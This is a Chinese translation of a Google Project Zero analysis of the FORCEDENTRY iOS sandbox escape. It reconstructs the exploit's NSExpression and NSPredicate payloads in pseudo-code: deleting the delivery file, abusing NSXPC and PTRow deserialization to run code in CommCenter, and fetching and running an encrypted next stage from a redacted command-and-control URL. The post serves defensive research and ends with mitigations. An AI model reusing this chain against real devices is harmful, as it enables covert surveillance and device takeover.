FORCEDENTRY:沙箱逃逸

访问原始链接 Google 翻译

作者:Ian Beer & Samuel Groß,来自 Google Project Zero

我们要感谢公民实验室(Citizen Lab)与我们分享了 FORCEDENTRY exploit 的样本,以及苹果安全工程与架构(SEAR)小组在技术分析方面与我们的合作。以下反映的任何编辑观点仅代表 Project Zero,不一定反映我们在本研究期间合作组织的观点。

去年年底,我们发布了关于 FORCEDENTRY(公民实验室将其归因于 NSO 的零点击 iMessage exploit)初始远程代码执行阶段的分析文章。通过发送一个 .gif iMessage 附件(实际上是一个 PDF),NSO 能够远程触发 ImageIO JBIG2 解码器中的堆缓冲区溢出。他们利用该漏洞引导了一个强大的怪异机器(weird machine),能够加载感染过程的下一阶段:沙箱逃逸。

在这篇文章中,我们将探讨这个沙箱逃逸。值得注意的是,它仅使用了逻辑漏洞。事实上,很难界定它所利用的功能在哪里结束,而它滥用的漏洞从哪里开始。当前和即将推出的最先进缓解措施,如指针认证(Pointer Authentication)和内存标记(Memory Tagging),对这个沙箱逃逸完全没有影响。

一个观察

在我们对 .gif 文件的初步分析中,Samuel 注意到渲染图像似乎会泄漏内存。在释放所有相关资源后运行堆工具(heap tool)会得到以下输出:

$ heap $pid


All zones: 4631 nodes (826336 bytes)

COUNT BYTES AVG CLASS_NAME TYPE BINARY
===== ===== === ========== ==== ======
1969 469120 238.3 non-object
825 26400 32.0 JBIG2Bitmap C++ CoreGraphics

heap 能够确定泄漏的内存包含 JBIG2Bitmap 对象。

使用 -address 选项,我们可以找到所有单独泄漏的位图对象:

$ heap -address JBIG2Bitmap $pid

并将它们转储到文件中。其中一个对象与其他对象截然不同:

$ hexdump -C dumpXX.bin | head

00000000 62 70 6c 69 73 74 30 30 |bplist00|
...
00000018 24 76 65 72 73 69 | $versi|
00000020 6f 6e 59 24 61 72 63 68 |onY$arch|
00000028 69 76 65 72 58 24 6f 62 |iverX$ob|
00000030 6a 65 63 74 73 54 24 74 |jectsT$t|
00000038 6f 70 |op |
00000040 4e 53 4b 65 79 65 | NSKeye|
00000048 64 41 72 63 68 69 76 65 |dArchive|

这显然是一个序列化的 NSKeyedArchiver。这绝对不是你在 JBIG2Bitmap 对象中期望看到的东西。运行 strings 命令,我们看到许多有趣的东西(注意下面的 URL 已编辑):

Objective-C 类名和选择器名:

NSFunctionExpression
NSConstantValueExpression
NSConstantValue
expressionValueWithObject:context:
filteredArrayUsingPredicate:
_web_removeFileOnlyAtPath:
context:evaluateMobileSubscriberIdentity:
performSelectorOnMainThread:withObject:waitUntilDone:
...

用于投递 exploit 的文件名:

XXX.gif

文件系统路径:

/tmp/com.apple.messages
/System/Library/PrivateFrameworks/SlideshowKit.framework/Frameworks/OpusFoundation.framework

一个 URL:

https://XXX.cloudfront.net/YYY/ZZZ/megalodon?AAA

使用 plutil 我们可以将 bplist00 二进制格式转换为 XML。经过一些后处理和清理,我们可以看到 NSKeyedArchiver 中的顶层对象是一个序列化的 NSFunctionExpression 对象。

NSExpression NSPredicate NSExpression

如果你曾经使用过 Core Data 或尝试过滤 Objective-C 集合,你可能遇到过 NSPredicates。根据苹果的公开文档,它们用于"定义逻辑条件以约束搜索或内存过滤"。

例如,在 Objective-C 中,你可以像这样过滤一个 NSArray 对象:

NSArray* names = @[@"one", @"two", @"three"];
NSPredicate* pred;
pred = [NSPredicate predicateWithFormat:
@"SELF beginswith[c] 't'"];
NSLog(@"%@", [names filteredArrayUsingPredicate:pred]);

谓词是 "SELF beginswith[c] 't'"。这将打印一个只包含 "two" 和 "three" 的 NSArray。

[NSPredicate predicateWithFormat] 通过解析一种小型查询语言来构建谓词对象,有点像 SQL 查询。

NSPredicates 可以由 NSExpressions 构建,并通过 NSComparisonPredicates(如小于、大于等)连接。

NSExpressions 本身可以相当复杂,包含聚合表达式(如 "IN" 和 "CONTAINS")、子查询、集合表达式,以及最有趣的是函数表达式。

在 2007 年之前(在 OS X 10.4 及更早版本中),函数表达式仅限于以下五个额外的内置方法:sum、count、min、max 和 average。

但从 OS X 10.5 开始(这也大约是 2007 年 iOS 推出的时候),NSFunctionExpressions 被扩展为允许使用 FUNCTION 关键字进行任意方法调用:

"FUNCTION('abc', 'stringByAppendingString', 'def')" => @"abcdef"

FUNCTION 接受一个目标对象、一个选择器和一个可选的参数列表,然后在对象上调用该选择器,传递参数。在这种情况下,它将分配一个 NSString 对象 @"abc",然后调用 stringByAppendingString: 选择器,传递 NSString @"def",这将求值为 NSString @"abcdef"。

除了 FUNCTION 关键字,还有 CAST,它允许基于反射的完全访问所有 Objective-C 类型(而不仅仅是能够在字面字符串和整数上调用选择器):

"FUNCTION(CAST('NSFileManager', 'Class'), 'defaultManager')"

这里我们可以访问 NSFileManager 类并调用 defaultManager 选择器来获取对进程共享文件管理器实例的引用。

这些关键字存在于 NSPredicates 和 NSExpressions 的字符串表示中。解析这些字符串涉及创建 NSExpression 对象、NSPredicate 对象及其子类(如 NSFunctionExpression)的图。JBIG2 位图中存在的正是这样一个图的序列化版本。

使用 FUNCTION 关键字的 NSPredicates 实际上是 Objective-C 脚本。通过一些技巧,可以构建嵌套的函数调用,几乎可以做任何在过程式 Objective-C 中能做的事情。弄清楚其中一些技巧是 2019 年 Real World CTF DezhouInstrumenz 挑战的关键,该挑战会评估攻击者提供的 NSExpression 格式字符串。挑战作者的 writeup 是这些想法的绝佳介绍,如果你还没读过,我强烈建议你现在就去读一下。本文的其余部分建立在该文章中描述的技巧之上。

两部分的故事

上一篇博客文章中描述的 JBIG2 逻辑门机器的唯一工作是导致嵌入的 NSFunctionExpression 的反序列化和求值。没有尝试获取本地代码执行、ROP、JOP 或任何类似技术。

在 iOS 14.5 之前,Objective-C 对象的 isa 字段不受指针认证码(PAC)保护,因此 JBIG2 机器构建了一个带有伪造 isa 的虚假 Objective-C 对象,使得 dealloc 选择器的调用导致 NSFunctionExpression 的反序列化和求值。这与 Samuel 在 2020 年 SLOP 文章中使用的技术非常相似。

这个 NSFunctionExpression 有两个目的:

首先,它分配并泄漏一个 ASMKeepAlive 对象,然后尝试通过查找并删除投递 exploit 的 .gif 文件来掩盖其踪迹。

其次,它构建一个有效载荷 NSPredicate 对象,然后触发一个逻辑漏洞,使该 NSPredicate 对象在 CommCenter 进程中被求值,该进程可通过 com.apple.commcenter.xpc NSXPC 服务从 IMTranscoderAgent 沙箱访问。

让我们分别看看这两部分:

掩盖踪迹

外层 NSFunctionExpression 调用 performSelectorOnMainThread:withObject:waitUntilDone,后者又在一个包含四个 NSFunctionExpressions 的 NSArray 上调用 makeObjectsPerformSelector:@"expressionValueWithObject:context:"。这允许依次求值四个独立的 NSFunctionExpressions。

通过一些手动清理,我们可以恢复序列化 NSFunctionExpressions 的伪 Objective-C 版本。

第一个做这个:

[[AMSKeepAlive alloc] initWithName:"KA"]

这分配然后泄漏一个 AppleMediaServices KeepAlive 对象。其确切目的尚不清楚。

第二个条目做这个:

[[NSFileManager defaultManager] _web_removeFileOnlyAtPath:
[@"/tmp/com.apple.messages" stringByAppendingPathComponent:
[ [ [ [
[NSFileManager defaultManager]
enumeratorAtPath: @"/tmp/com.apple.messages"
]
allObjects
]
filteredArrayUsingPredicate:
[
[NSPredicate predicateWithFormat:
[
[@"SELF ENDSWITH '"
stringByAppendingString: "XXX.gif"]
stringByAppendingString: "'"
] ] ] ]
firstObject
]
]
]

阅读这些单一表达式的 NSFunctionExpressions 有点棘手;将其分解为更过程化的形式,它等同于:

NSFileManager* fm = [NSFileManager defaultManager];
NSDirectoryEnumerator* dir_enum;
dir_enum = [fm enumeratorAtPath: @"/tmp/com.apple.messages"]
NSArray* allTmpFiles = [dir_enum allObjects];
NSString* filter;
filter = ["@"SELF ENDSWITH '" stringByAppendingString: "XXX.gif"];
filter = [filter stringByAppendingString: "'"];
NSPredicate* pred;
pred = [NSPredicate predicateWithFormat: filter]
NSArray* matches;
matches = [allTmpFiles filteredArrayUsingPredicate: pred];
NSString* gif_subpath = [matches firstObject];
NSString* root = @"/tmp/com.apple.messages";
NSString* full_path;
full_path = [root stringByAppendingPathComponent: gifSubpath];
[fm _web_removeFileOnlyAtPath: full_path];

这会找到 iMessage 存储在 /tmp/com.apple.messages 文件夹下某处的用于投递 exploit 的 XXX.gif 文件并删除它。

另外两个 NSFunctionExpressions 构建一个有效载荷,然后在 CommCenter 中触发其求值。为此,我们需要看看 NSXPC。

NSXPC

NSXPC 是一种用于 Objective-C 的半透明远程过程调用机制。它允许在一个进程中实例化代理对象,这些对象透明地将方法调用转发到另一个进程中的"真实"对象:

https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html

我说 NSXPC 只是半透明的,因为它确实对允许哪些对象跨越进程边界施加了一些限制。任何通过 NSXPC "导出"的对象还必须定义一个协议(protocol),该协议指定可以调用哪些方法以及每个参数的允许类型。NSXPC 编程指南进一步解释了需要集合的方法和其他边缘情况所需的额外处理。

NSXPC 使用的底层序列化与 Natalie Silvanovich 在 2019 年博客文章中探讨的相同,该文章研究了 iPhone 的完全远程攻击面。该文章中的一个重要观察是,具有任何级别继承的类的子类也是允许的,NSKeyedUnarchiver 反序列化总是如此。

这意味着,任何为字段声明特定类型的协议对象,根据设计,也将接受该类型的任何子类。

这种逻辑的极端情况是,声明参数类型为 NSObject 的协议将允许任何子类,而这是绝大多数 Objective-C 类。

Grep 来救援

这很容易自动分析。协议是静态定义的,所以我们可以直接找到它们并检查每一个。像 RuntimeBrowser 和 classdump 这样的工具可以解析静态协议定义并输出人类可读的源代码。像这样 grep RuntimeBrowser 的输出足以找到数十个 Objective-C 协议中 NSObject 指针的情况:

$ egrep -Rn "(NSObject *)arg" *

并非所有结果都必然通过 NSXPC 暴露,但有些显然是,包括 CoreTelephony.framework 中的以下两个匹配项:

Frameworks/CoreTelephony.framework/
CTXPCServiceSubscriberInterface-Protocol.h:39:
-(void)evaluateMobileSubscriberIdentity:
(CTXPCServiceSubscriptionContext *)arg1
identity:(NSObject *)arg2
completion:(void (^)(NSError *))arg3;

Frameworks/CoreTelephony.framework/
CTXPCServiceCarrierBundleInterface-Protocol.h:13:
-(void)setWiFiCallingSettingPreferences:
(CTXPCServiceSubscriptionContext *)arg1
key:(NSString *)arg2
value:(NSObject *)arg3
completion:(void (^)(NSError *))arg4;

evaluateMobileSubscriberIdentity 字符串出现在我们最初在 bplist00 上运行 strings 时看到的类似选择器的字符串列表中。确实,查看解析并美化的 NSFunctionExpression,我们看到它这样做:

[ [ [CoreTelephonyClient alloc] init]
context:X
evaluateMobileSubscriberIdentity:Y]

这是对底层 NSXPC 代码的包装,上面传递给 CoreTelephonyClient 方法的参数 Y 对应于通过 NSXPC 传递给 CommCenter(托管 com.apple.commcenter.xpc 的进程,这是 CoreTelephonyClient 底层的 NSXPC 服务)的 identity:(NSObject )arg2 参数。由于参数明确命名为 NSObject,我们实际上可以传递 NSObject* 的任何子类,包括 NSPredicate!游戏结束?

解析与求值

这并不那么容易。DezhouInstrumentz writeup 讨论了这种攻击面,并指出有一个额外的、特定的缓解措施。当 NSPredicate 被其 initWithCoder: 实现反序列化时,它会设置一个标志,禁用谓词的求值,直到调用 allowEvaluation 方法。

因此,虽然你当然可以将 NSPredicate* 作为 identity 参数通过 NSXPC 传递,并在 CommCenter 中获取其反序列化,但 CommCenter 中 evaluateMobileSubscriberIdentity: 的实现肯定不会调用 allowEvaluation: 来使谓词安全求值,然后调用 evaluateWithObject: 并求值它。

旧技术,新技巧

从 exploit 中我们可以看到,他们实际上传递了一个包含两个元素的 NSArray:

[0] = AVSpeechSynthesisVoice
[1] = PTSection {rows = NSArray { [0] = PTRow() }

第一个元素是一个 AVSpeechSynthesisVoice 对象,第二个是一个包含单个 PTRow 的 PTSection。为什么?

PTSection 和 PTRow 都在私有框架 PrototypeTools 中定义。PrototypeTools 没有加载到 CommCenter 目标进程中。让我们看看当 AVSpeechSynthesisVoice 被反序列化时会发生什么:

寻找一个声音

AVSpeechSynthesisVoice 在 AVFAudio.framework 中实现,该框架已加载到 CommCenter 中:

$ sudo vmmap pgrep CommCenter | grep AVFAudio

__TEXT 7ffa22c4c000-7ffa22d44000 r-x/r-x SM=COW
/System/Library/Frameworks/AVFAudio.framework/Versions/A/AVFAudio

假设这是 CommCenter 内部首次创建 AVSpeechSynthesisVoice 对象(这很有可能),Objective-C 运行时将在实例化第一个实例之前调用 AVSpeechSynthesisVoice 类的 initialize 方法。

[AVSpeechSynthesisVoice initialize] 有一个 dispatch_once 块,包含以下代码:

NSBundle* bundle;
bundle = [NSBundle bundleWithPath:
@"/System/Library/AccessibilityBundles/
AXSpeechImplementation.bundle"];
if (![bundle isLoaded]) {
NSError err;
[bundle loadAndReturnError:&err]
}

因此,发送一个序列化的 AVSpeechSynthesisVoice 对象将导致 CommCenter 加载 /System/Library/AccessibilityBundles/AXSpeechImplementation.bundle 库。使用 otool -L 列出依赖项进行一些脚本编写,我们可以找到从 AXSpeechImplementation.bundle 到 PrototypeTools.framework 的以下依赖链:

['/System/Library/AccessibilityBundles/
AXSpeechImplementation.bundle/AXSpeechImplementation',
'/System/Library/AccessibilityBundles/
AXSpeechImplementation.bundle/AXSpeechImplementation',
'/System/Library/PrivateFrameworks/
AccessibilityUtilities.framework/AccessibilityUtilities',
'/System/Library/PrivateFrameworks/
AccessibilitySharedSupport.framework/AccessibilitySharedSupport',
'/System/Library/PrivateFrameworks/Sharing.framework/Sharing',
'/System/Library/PrivateFrameworks/
PrototypeTools.framework/PrototypeTools']

这解释了 PTSection 的反序列化将如何成功。但 PTSections 和 PTRows 有什么特别之处呢?

带谓词的节

[PTRow initwithcoder:] 包含以下代码片段:

self->condition = [coder decodeObjectOfClass:NSPredicate
forKey:@"condition"]
[self->condition allowEvaluation]

这将反序列化一个 NSPredicate 对象,将其分配给 PTRow 成员变量 condition 并调用 allowEvaluation。这旨在表明反序列化代码认为此谓词是安全的,但这里没有尝试对谓词内容执行任何验证。然后他们还需要一个技巧来找到一条路径,该路径将额外求值 PTRow 的条件谓词。

以下是 [PTSection initWithCoder:] 的代码片段:

NSSet* allowed = [NSSet setWithObjects: @[PTRow]]
id* rows = [coder decodeObjectOfClasses:allowed forKey:@"rows"]
[self initWithRows:rows]

这反序列化一个 PTRows 数组,并将它们传递给 [PTSection initWithRows],后者将 PTRows 数组的副本分配给 PTSection->rows,然后调用 [self _reloadEnabledRows],后者又将每一行传递给 [self _shouldEnableRow:]

_shouldEnableRow:row {
if (row->condition) {
return [row->condition evaluateWithObject: self->settings]
}
}

因此,通过发送一个包含单个附加了条件 NSPredicate 的 PTRow 的 PTSection,他们可以导致任意 NSPredicate 的求值,这实际上等同于在 CommCenter 上下文中的任意代码执行。

有效载荷 2

附加到 PTRow 的 NSPredicate 使用与第一个有效载荷类似的技巧,导致六个独立的 NSFunctionExpressions 的求值,但这次是在 CommCenter 进程的上下文中。它们在这里以伪 Objective-C 形式呈现:

表达式 1

[ [CaliCalendarAnonymizer sharedAnonymizedStrings]
setObject:
@[[NSURLComponents
componentsWithString:
@"https://cloudfront.net/XXX/XXX/XXX?aaaa"], '0']
forKey: @"0"
]

使用 [CaliCalendarAnonymizer sharedAnonymizedStrings] 是一个技巧,使独立的 NSFunctionExpressions 数组能够拥有"局部变量"。在第一种情况下,他们创建一个 NSURLComponents 对象,用于构建参数化 URL。然后,这个 URL 构建器存储在 [CaliCalendarAnonymizer sharedAnonymizedStrings] 返回的全局字典中,键为 "0"。

表达式 2

[[NSBundle
bundleWithPath:@"/System/Library/PrivateFrameworks/
SlideshowKit.framework/Frameworks/OpusFoundation.framework"
] load]

这导致加载 OpusFoundation 库。确切原因尚不清楚,尽管 OpusFoundation 的依赖图确实包含下一个 NSFunctionExpression 使用的 AuthKit。这个有效载荷可能是通用的,也可能期望在未加载 AuthKit 的进程中被求值时也能工作。

表达式 3

[ [ [CaliCalendarAnonymizer sharedAnonymizedStrings]
objectForKey:@"0" ]
setQueryItems:
[ [ [NSArray arrayWithObject:
[NSURLQueryItem
queryItemWithName: @"m"
value:[AKDevice _hardwareModel] ]
] arrayByAddingObject:
[NSURLQueryItem
queryItemWithName: @"v"
value:[AKDevice _buildNumber] ]
] arrayByAddingObject:
[NSURLQueryItem
queryItemWithName: @"u"
value:[NSString randomString]]
]
]

这获取对存储在全局 sharedAnonymizedStrings 字典中键 "0" 下的 NSURLComponents 对象的引用,然后用三个值参数化 HTTP 查询字符串:

[AKDevice _hardwareModel] 返回一个像 "iPhone12,3" 这样的字符串,用于确定确切的设备型号。

[AKDevice _buildNumber] 返回一个像 "18A8395" 这样的字符串,结合设备型号,可以确定设备上运行的确切固件映像。

[NSString randomString] 返回一个 32 位随机整数的十进制字符串表示,如 "394681493"。

表达式 4

[ [CaliCalendarAnonymizer sharedAnonymizedString]
setObject:
[NSPropertyListSerialization
propertyListWithData:
[[[NSData
dataWithContentsOfURL:
[[[CaliCalendarAnonymizedStrings sharedAnonymizedStrings]
objectForKey:@"0"] URL]
] AES128DecryptWithPassword:NSData(XXXX)
] decompressedDataUsingAlgorithm:3 error:]
options: Class(NSConstantValueExpression)
format: Class(NSConstantValueExpression)
errors:Class(NSConstantValueExpression)
]
forKey:@"1"
]

这里对 sharedAnonymizedStrings 的最内层引用获取 NSURLComponents 对象,并根据之前设置的查询字符串参数构建完整的 URL。该 URL 被传递给 [NSData dataWithContentsOfURL:] 以从远程服务器获取数据块。

该数据块使用硬编码的 AES128 密钥解密,使用 zlib 解压缩,然后解析为 plist。解析后的 plist 存储在 sharedAnonymizedStrings 字典中,键为 "1"。

表达式 5

[ [[NSThread mainThread] threadDictionary]
addEntriesFromDictionary:
[[CaliCalendarAnonymizer sharedAnonymizedStrings]
objectForKey:@"1"]
]

这将所有键和值从"下一阶段" plist 复制到主线程的 threadDictionary 中。

表达式 6

[ [NSExpression expressionWithFormat:
[[[CaliCalendarAnonymizer sharedAnonymizedStrings]
objectForKey:@"1"]
objectForKey: @"a"]
]
expressionValueWithObject:nil context:nil
]

最后,这从下一阶段 plist 中获取键 "a" 的值,将其解析为 NSExpression 字符串并进行求值。

终点

此时,我们失去了跟踪 exploit 的能力。攻击者已经逃逸了 IMTranscoderAgent 沙箱,向命令和控制服务器请求了下一阶段并执行了它,所有这些都没有任何内存损坏或依赖于特定版本的操作系统。

作为对此 exploit 的回应,iOS 15.1 显著减少了 NSExpressions 可用的计算能力:

NSExpression 立即禁止某些具有显著副作用的操作,如创建和销毁对象。此外,使用 NSConstantValueExpression 将字符串类名转换为 Class 对象已被弃用。

此外,PTSection 和 PTRow 对象已得到加固,在解析序列化 NSPredicates 时添加了以下检查:

if (os_variant_allows_internal_security_policies(
"com.apple.PrototypeTools") {
[coder decodeObjectOfClass:NSPredicate forKey:@"condition]
...

然而,跨越信任边界的对象反序列化仍然呈现出一个巨大的攻击面。

结论

也许最引人注目的收获是,从一个希望是相当受限的沙箱中可访问的攻击面的深度。仅凭两个技巧(协议中的 NSObject 指针和库加载小工具),就可能攻击 dyld_shared_cache 中几乎每个 initWithCoder 实现。除了 NSPredicate 和 NSExpression 之外,可能还有许多其他类提供了逻辑风格 exploit 的构建块。

NSXPC 的表达能力似乎从根本上不适合在沙箱边界之间使用,尽管它正是为此而设计的。从沙箱内部可访问的攻击面应该是最小的、可枚举的和可审查的。理想情况下,只有正确功能所需的代码才应该是可访问的;应该能够准确确定暴露的代码是什么,并且暴露的代码量应该足够小,以便手动审查是可行的。

NSXPC 要求开发人员将远程暴露的方法显式添加到接口协议中,这是使攻击面可枚举的一个很好的例子——你至少可以相当容易地找到所有入口点。然而,对继承的支持意味着那里暴露的攻击面可能不可审查;对于任何超出基本示例的情况来说,它都太大了。

重构这些关键的 IPC 边界,使其更具规范性——在这种情况下只允许更窄的一组对象——将是使攻击面可审查的良好一步。这可能需要对 NSXPC 进行相当重大的重构;它是围绕原生支持 Objective-C 继承模型构建的,并且使用非常广泛。但如果没有这样的改变,暴露的攻击面就太大了,无法有效审计。

内存标记扩展(MTE)的出现,很可能在今年在 ARM 生态系统的多个消费设备中推出,是防御内存损坏利用的一大步。但攻击者也在创新,并且可能已经领先两步,重新关注逻辑漏洞。这个沙箱逃逸 exploit 很可能标志着如果 MTE 的承诺能够实现,我们预计在未来几年将看到的转变。而这个 exploit 比几乎任何内存损坏 exploit 所希望达到的更具扩展性、可靠性和通用性。